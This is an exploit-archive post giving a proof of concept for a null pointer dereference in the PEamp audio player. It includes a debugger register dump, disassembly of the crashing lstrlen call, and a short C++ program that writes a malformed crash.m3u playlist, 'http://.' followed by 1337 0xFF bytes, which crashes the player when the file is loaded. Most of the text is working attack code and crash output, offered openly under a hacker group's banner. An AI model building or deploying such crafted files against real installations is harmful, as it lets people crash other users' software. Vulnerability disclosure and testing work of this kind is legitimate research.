PEamp Null Pointer Dereference PoC

/*Title: PEamp Null Pointer Dereference PoC
Author: Ayrbyte
Link: http:www.softpedia.com/get/Multimedia/Audio/Audio-Players/mp3player.shtml
Versi: v1.02b
Tested on: Windows 7
Fb: facebook.com/Ayrbyte
Greetz To : all CREMY Family, and for all indonesian indonesian h4x0r

    ??  %%  %% $$$$$        >>  > ::    ;;;;;;;;
   ?? ?  %% %% $$ $$ ||      >> > ::    ;;    ;;
  ?????   %%%% $$$$$ ||___    >>> ::::: ;;;;;;;
 ??   ??    %% $$$$  ||  ||     > ::    ;;
      %%%%%%%% $$ $$ ||__|| >>>>> ::::: ;;;;;;;;
    ______________>>Ayrbyte<<_______________
   Gamerz From CREMY | CRazy Experience arMY

[register]
eax=ffffffff ebx=76b0cc62 ecx=199dee10 edx=00000000 esi=03342d28 edi=0040141b
eip=750b736d esp=0012ed34 ebp=0012ed5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246

[diasembly]
KERNELBASE!lstrlen:
750b7353 6a08            push    8
750b7355 6890730b75      push    offset KERNELBASE!lstrlen+0x3d (750b7390)
750b735a e841a3ffff      call    KERNELBASE!ReleaseMutex+0x3f (750b16a0)
750b735f 8b4508          mov     eax,dword ptr [ebp+8]
750b7362 85c0            test    eax,eax
750b7364 741f            je      KERNELBASE!lstrlen+0x32 (750b7385)
750b7366 8365fc00        and     dword ptr [ebp-4],0
750b736a 8d5001          lea     edx,[eax+1]
750b736d 8a08            mov     cl,byte ptr [eax]          ds:0023:ffffffff=?? <--NullPointer
750b736f 40              inc     eax
750b7370 84c9            test    cl,cl
750b7372 75f9            jne     KERNELBASE!lstrlen+0x1a (750b736d)
750b7374 2bc2            sub     eax,edx
750b7376 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
750b737d e86ea4ffff      call    KERNELBASE!WaitForSingleObjectEx+0xc0 (750b17f0)
750b7382 c20400          ret     4
750b7385 33c0            xor     eax,eax
750b7387 ebf4            jmp     KERNELBASE!lstrlen+0x2a (750b737d)

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll - 
KERNELBASE!lstrlen+0x1a:
eax overwrite with ffffffff, in offset 750b736d, (mov cl,byte ptr [eax]) ds:0023:ffffffff=?? <--Null Pointer Dereference
*/
//Poc :
#include <iostream>
using namespace std;
//WARNING: for first load crash.m3u after that klik "add" or "load" or "save" 
//it will make program be crash
char _isi[] =   "http://.";
char _A[] = "\xFF";
int main(){
    FILE *_file;
    #define _namefile "crash.m3u"
    _file = fopen(_namefile, "w");
    fputs(_isi, _file);
    for(int i=0;i<1337;i++){fputs(_A, _file);}
    fclose(_file);
    return 0; 
}




#  0day.today [2018-01-02]  #